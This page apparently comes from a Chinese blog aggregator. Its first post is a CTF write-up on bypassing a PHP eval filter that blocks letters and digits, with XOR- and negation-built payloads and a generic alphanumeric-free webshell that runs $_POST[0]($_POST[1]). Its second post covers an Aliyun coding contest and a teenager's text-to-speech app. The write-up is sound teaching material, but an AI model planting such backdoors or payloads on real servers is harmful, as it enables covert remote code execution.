首页 文章 精选 留言 我的

精选列表

搜索[编写],共10000篇文章
优秀的个人博客,低调大师

记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门)

0x01 前言 最近在做代码审计的工作中遇到了一个难题,题目描述如下: <?php include 'flag.php'; if(isset($_GET['code'])){ $code = $_GET['code']; if(strlen($code)>40){ die("Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($code); }else{ highlight_file(__FILE__); } //$hint = "php function getFlag() to get flag"; ?> 这一串代码描述是这样子,我们要绕过A-Za-z0-9这些常规数字、字母字符串的传参,将非字母、数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符,并且字符串长度小于40。然后再利用 PHP允许动态函数执行的特点,拼接处一个函数名,这里我们是 "getFlag",然后动态执行之即可。 那么,我们需要考虑的问题是如何通过各种变换,使得我们能够去成功读取到getFlag函数,然后拿到webshell。 0x02 前置知识铺垫 在理解这篇文章之前,我们首先需要大家了解的是PHP中异或(^)的概念。 我们先看一下下面这段代码: <?php echo "A"^"?"; ?> 运行结果如下: 我们可以看到,输出的结果是字符"~"。之所以会得到这样的结果,是因为代码中对字符"A"和字符"?"进行了异或操作。在PHP中,两个变量进行异或时,先会将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完,又将结果从二进制转换成了ASCII值,再将ASCII值转换成字符串。异或操作有时也被用来交换两个变量的值。 比如像上面这个例子 A的ASCII值是65,对应的二进制值是01000001 ?的ASCII值是63,对应的二进制值是00111111 异或的二进制的值是10000000,对应的ASCII值是126,对应的字符串的值就是~了 我们都知道,PHP是弱类型的语言,也就是说在PHP中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。正是由于PHP弱类型的这个特点,我们对PHP的变类型进行隐式的转换,并利用这个特点进行一些非常规的操作。如将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理,下面我们来看一段代码: <?php function B(){ echo "Hello Angel_Kitty"; } $_++; $__= "?" ^ "}"; $__(); ?> 代码执行结果如下: 我们一起来分析一下上面这段代码: `$_++; `这行代码的意思是对变量名为`"_"`的变量进行自增操作,在PHP中未定义的变量默认值为null,null==false==0,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。 `$__="?" ^ "}"; `对字符"?"和"}"进行异或运算,得到结果B赋给变量名为"__"(两个下划线)的变量 `$ __ (); `通过上面的赋值操作,变量`\$__`的值为B,所以这行可以看作是B(),在PHP中,这行代码表示调用函数B,所以执行结果为Hello Angel_Kitty。在PHP中,我们可以将字符串当作函数来处理。 看到这里,相信大家如果再看到类似的PHP后门应该不会那么迷惑了,你可以通过一句句的分析后门代码来理解后门想实现的功能。 我们希望使用这种后门创建一些可以绕过检测的并且对我们有用的字符串,如_POST", "system", "call_user_func_array",或者是任何我们需要的东西。 下面是个非常简单的非数字字母的PHP后门: <?php @$_++;//$_=1 $__=("#"^"|");//$__=_ $__.=("."^"~");//_P $__.=("/"^"`");//_PO $__.=("|"^"/");//_POS $__.=("{"^"/");//_POST ${$__}[!$_](${$__}[$_]);//$_POST[0]($_POST[1]); ?> 在这里我说明下,.=是字符串的连接,具体参看php语法 我们甚至可以将上面的代码合并为一行,从而使程序的可读性更差,代码如下: $__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); 0x03 问题分析 对于文章开始遇到的那道难题,最开始我们的想法是通过构造异或来去绕过那串字符,但由于最后构造的字串远远超过了长度len=40,然后我们最后放弃了~~ 我们该如何构造这个字串使得长度小于40呢? 我们最终是要读取到那个getFlag函数,我们需要构造一个_GET来去读取这个函数,我们最终构造了如下字符串: ?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag 可能很多小伙伴看完前置知识后仍然无法理解这段字符串是如何构造的吧,我们就对这段字符串进行段分析 ①构造_GET读取 首先我们得知道_GET由什么异或而来的,经过我的尝试与分析,我得出了下面的结论: <?php echo "`{{{"^"?<>/";//_GET ?> 这段代码一大坨是啥意思呢?因为40个字符长度的限制,导致以前逐个字符异或拼接的webshell不能使用。这里可以使用php中可以执行命令的反引号` `和Linux下面的通配符? ?代表匹配一个字符 ` 表示执行命令 " 对特殊字符串进行解析 由于?只能匹配一个字符,这种写法的意思是循环调用,分别匹配。我们将其进行分解来看 <?php echo "{"^"<"; ?> 输出结果为: <?php echo "{"^">"; ?> 输出结果为: <?php echo "{"^"/"; ?> 输出结果为: 所以_GET就是这么被构造出来的 ②获取_GET参数 如何获取呢?咱们可以构造出如下字串: <?php echo ${$_}[_](${$_}[__]);//$_GET[_]($_GET[__]) ?> 根据前面构造的来看,$_已经变成了_GET。 顺理成章的来讲,$_ = _GET这个字符串。 我们构建$_GET[ __ ]是为了要获取参数值 ③传入参数 此时我们只需要去调用getFlag函数获取webshell就好了,构造如下: <?php echo $_=getFlag;//getFlag ?> 所以把参数全部连接起来,就可以了~~ ?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag 结果如下: 我们就成功读取到了flag~~ 补充 我似乎看到了一些大佬对这题的骚操作,我也补充一下吧~~ 有个payloads是这样子: ?code=$_=~%98%9A%8B%B9%93%9E%98;$_(); 这个是把getFlag取反然后URL编码 然后我们看看下一个payloads: ?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag ~ 在 {} 中执行了取反操作,所以${~"\xa0\xb8\xba\xab"}取反相当于$_GET,拼接出了$_GET['+']();,传入 +=getFlag() 从而执行了函数 再看看下面这种骚操作: code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊(); $啊=getFlag;$啊();,这里就不需要用 {} 了,因为取反的值直接被当作字符串赋值给了 $ 啊。 下面这个是梅子酒师傅在评论区提供的一个payloads,我也补上: 0x04 扩展阅读 我给大家推荐几篇写的比较好的,方便大家能更进一步的理解这个东西。 https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html http://php.net/manual/zh/language.operators.increment.php 您可以考虑给博主来个小小的打赏以资鼓励,您的肯定将是我最大的动力。thx. 微信打赏 支付宝打赏 作 者: Angel_Kitty 出 处:http://www.cnblogs.com/ECJTUACM-873284962/ 关于作者:潜心机器学习以及信息安全的综合研究。如有问题或建议,请多多赐教! 版权声明:本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文链接。 特此声明:所有评论和私信都会在第一时间回复。也欢迎园子的大大们指正错误,共同进步。或者直接私信我 声援博主:如果您觉得文章对您有帮助,可以点击右下角【推荐】推荐一下该博文。您的鼓励是作者坚持原创和持续写作的最大动力!

优秀的个人博客,低调大师

【83行代码获奖代码】高中生@青藤木子 耗费一周给妈妈编写了一款语音识别APP

最近社区有个很火的《向代码致敬,寻找你的第83行》活动。缘起于前几天,在阿里巴巴的一个小黑屋里,5名对代码有着极致追求的程序员参与了阿里代码领域最高荣誉“多隆奖”最终角逐(多隆作为淘宝的第一代程序员,也是很多技术人心中的大神)。那天代码评审现场,看到某代码片段最后结尾,多隆突然补上一句,往上翻看第83行。代码一般都是几百行,他看到最后,居然还记得第83行的一个细微瑕疵,这得是对代码怀着怎样的敬畏之心。 于是,在五四青年节之际,社区发起了来晒晒属于你的“第83行”的活动,活动中邀请业界的大牛、大神们来晒代码或者Review代码!最终,由网友和大牛共同评选出了获得点赞和大牛评分最高的2位参与者,其中一位正是@青藤木子。 5月29日,多隆在第二届研发效能嘉年华(云效)直播间为其颁发了“多隆奖”(https://yq.aliyun.com/promotion/566)。 @青藤木子获奖的代码如下: 我是一条高中生,没有学过安卓开发,倒是自学了一些。想起了以前给妈妈弄的一个语音翻译App,就是利用微信聊天中自带的复制功能把复制的文字合成为语音,我妈妈不认识字,所以才给他弄了一个这个软件。没有83行,不过自从我安装了java规范插件后我写代码的水平也上升了。感觉就是在写英语诗一样(原谅我语文差,但是只有英语可以),目前还在深造中。 对于@青藤木子晒出的代码,本次活动的特邀评委——阿里巴巴数据库事业部的资深技术专家温绍锦评价称:“代码写的挺工整的, 希望是手写这样而不是IDE格式化的结果。onCreate和onRequestPermissionsResult方法中间应该有一个换行。代码逻辑较简单,希望有机会能展示逻辑更复杂的代码。”其获奖评语为,“代码源于生活,高于生活,谢谢你告诉我们技术除了改变世界,还能温暖小家庭,温暖一位母亲。” 能够获得此次的“多隆奖”,@青藤木子,即周建国,他表示十分感谢。 我今年16岁,正在读高中,明年参加高考。我十分喜欢计算机,也喜欢编程,所以即使学业很忙,我也会尽量挤出时间学习自己感兴趣的知识。 之前我给妈妈做了一款文字转语音的小软件,耗费了整整一个星期的时间。但是后来还是觉得自己没有充分利用好所有时间,效率不够高。现在时间总算宽裕了,也不用熬夜去理解Java编程思想了。 对我来说,制定方案能让学习和兴趣两不误。我的代码水平并不是很高,只能算入门级别,因此时间总是消磨得很快,但时间久了效率也就练出来了。如果想打游戏、刷淘宝,我会尽量克制自己,利用注意转移法,听歌或者看看书,利用空闲时间看看书籍和练练代码。 目前我还是一名备战高考的学生,所以必须要有所取舍,学习就是我的第一位。所以我很难有足够的时间去满足自己的兴趣。有些事情即使放弃了,也不会影响自己的付出和思考——这是一位转行的老哥给我讲的,这让我感触颇深。他以前是做前端的,后来转行去做了房地产,但他经常做梦都会梦到自己在写代码。就算是现在,他也会在QQ群组里聊天,为我们解答技术上的问题。而代码之于我,也是我最放心不下的。 最开始只是为了扩建天天酷跑这个游戏,我就朝着编程的路越走越远。后来知道了开源,就很仰慕那些大佬,他们对互联网的贡献是相当巨大的。我也一直把这种仰慕当做自己的动力,热爱编程的同时也致力于帮助别人。写代码就像创造一个生命的感觉,我热爱它并且没有任何的理由,我就是想学更多的东西,收集更多的书籍。 以前我只知道论坛和CSDN等技术性平台,这些平台解决了我很多的问题。后来也了解到了阿里云和云栖社区,它们对我的帮助也非常大。自从进入云栖社区之后,我就了解了很多关于互联网、人工智能方面的知识。我也有参加过云栖大会,干货太多了简直目不暇接,虽然很多知识对现在的我来说还看不懂,但是感觉很新奇。社区的资料也非常多,也感谢阿里云大学陪伴了我一年之多,非常的感谢。 下面我们也精心挑选了参加活动的部分同学代码,欢迎点评学习: 1、@1350194977002867—我是一个盲人工程师。在测试淘宝和天猫WEB端时,发现“我的淘宝”和“收藏夹”链接鼠标悬浮时会弹出内容,但盲人用户使用键盘无法实现该操作,因此根据相关的无障碍标准给对应产品提出了以下解决方案,让我们的代码更健壮、产品更完善,经得起“每一位用户”的考验。 https://yq.aliyun.com/roundtable/67516/answer/152583#visit152583 2、@故事老神仙-接触建站开始一直玩到了现在的一个网站代码的第83行,是一行普通的代码,没有特别的地方,但不由让自己想起了当初的那份热爱,那份期待,那是初接触代码的小惊喜小激动。 https://yq.aliyun.com/roundtable/67516#answer-146773 7、@逐梦之旅-作为一个正要面临高考的小白程序猿,总有一天,我也会拥有我的“83行”,我也会成为你们中的一员 https://yq.aliyun.com/roundtable/67516/?spm=a2c4e.11154000.rtdmain.256.1b726b3fy3tHbn&order=score&type=&p=1#answer-147150 11、@wujianhui-最近写的学校电脑报障系统 http://yq.aliyun.com/roundtable/67516/answer/147576#visit147576 12、@随手飘一个--写代码越久,越来越习惯多写注释,考虑以后的易用性功能 https://yq.aliyun.com/roundtable/67516/?spm=a2c4e.11154000.rtdmain.153.2e8118a8NMH8d4&order=score&type=&p=5#answer-147177 17、@起名字好难-11年用python重写的一个06年用TC做的一个动画(好绕口……) http://yq.aliyun.com/roundtable/67516/answer/147247#visit147247 20、@尼古拉斯雷-看了那个阿里巴巴的那个开发手册,然后就知道如何去优化这些代码,如何去规范的定义变量名之类的 https://yq.aliyun.com/roundtable/67516/?spm=a2c4e.11154000.rtdmain.892.2ccd6b3fahgMyS&order=score&type=&p=2#answer-146477 24、@海阔天空yy-以下是我写的一个,用来测试redis集群的测试程序 https://yq.aliyun.com/roundtable/67516/?spm=a2c4e.11154000.rtdmain.892.2ccd6b3fahgMyS&order=score&type=&p=2#answer-146532 32、@1706825784780553-晒代码 http://yq.aliyun.com/roundtable/67516/answer/147198#visit147198 34、@david_duan-天池的一个比赛,名次166,春节假期期间一个通宵写的~ https://yq.aliyun.com/roundtable/67516/?spm=a2c4e.11154000.rtdmain.892.2ccd6b3fahgMyS&order=score&type=&p=2#answer-147054 41、@青藤木子-以前给妈妈弄的一个语音翻译App,就是利用微信聊天中自带的复制功能把复制的文字合成为语音 http://yq.aliyun.com/roundtable/67516/answer/147546#visit147546 60、@幸运兔-从大学时代起就比较注重代码书写规范,当初的汇编没有太多的约定,自己都会为每行代码加上注释,好处一看便知,现在转行Java之后多年,依旧能够快速理解那时代码逻辑。 https://yq.aliyun.com/roundtable/67516/?spm=a2c4e.11154000.rtdmain.307.51806b3fV3GIep&order=score&type=&p=4#answer-146572 80、@德哥-图式关系存储与搜索 http://yq.aliyun.com/roundtable/67516/answer/146978#visit146978 71、@luckmore-动态负载均衡跟 容灾保护的一个东西 http://yq.aliyun.com/roundtable/67516/answer/147187#visit147187 102、@小生蚝-初二的时候帮学校写的“校运会直播系统” http://yq.aliyun.com/roundtable/67516/answer/150524#visit150524 109、@1026704017609990-我的83行代码,注释写的不好,希望各位大佬指教哈哈 http://yq.aliyun.com/roundtable/67516/answer/147217#visit147217 134、@小小小豆奶-最近写的解析字符串里面数据对应的模板的方法,还是很多不规范的,但是在往规范的方向靠 https://yq.aliyun.com/roundtable/67516/?spm=a2c4e.11154000.rtdmain.230.3cd56b3fEgMIV4&order=score&type=&p=18#answer-146704 143、@wfping-菜鸟,入行一年 https://yq.aliyun.com/roundtable/67516/?spm=a2c4e.11154000.rtdmain.230.1fe36b3fjdZDrJ&order=score&type=&p=21#answer-146597 145、@1572054130306817我的第83行代码是学习笔记,记录着学习的点滴 https://yq.aliyun.com/roundtable/67516/?spm=a2c4e.11154000.rtdmain.230.1fe36b3fjdZDrJ&order=score&type=&p=21#answer-146587

资源下载

更多资源
Mario

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

Spring

Spring

Spring框架(Spring Framework)是由Rod Johnson于2002年提出的开源Java企业级应用框架,旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念,提供核心容器、应用上下文、数据访问集成等模块,支持整合Hibernate、Struts等第三方框架,其适用范围不仅限于服务器端开发,绝大多数Java应用均可从中受益。

Rocky Linux

Rocky Linux

Rocky Linux(中文名:洛基)是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版,作为CentOS稳定版停止维护后与RHEL(Red Hat Enterprise Linux)完全兼容的开源替代方案,由社区拥有并管理,支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性,采用模块化包装和SELinux安全架构,默认包含GNOME桌面环境及XFS文件系统,支持十年生命周期更新。

WebStorm

WebStorm

WebStorm 是jetbrains公司旗下一款JavaScript 开发工具。目前已经被广大中国JS开发者誉为“Web前端开发神器”、“最强大的HTML5编辑器”、“最智能的JavaScript IDE”等。与IntelliJ IDEA同源,继承了IntelliJ IDEA强大的JS部分的功能。

用户登录
用户注册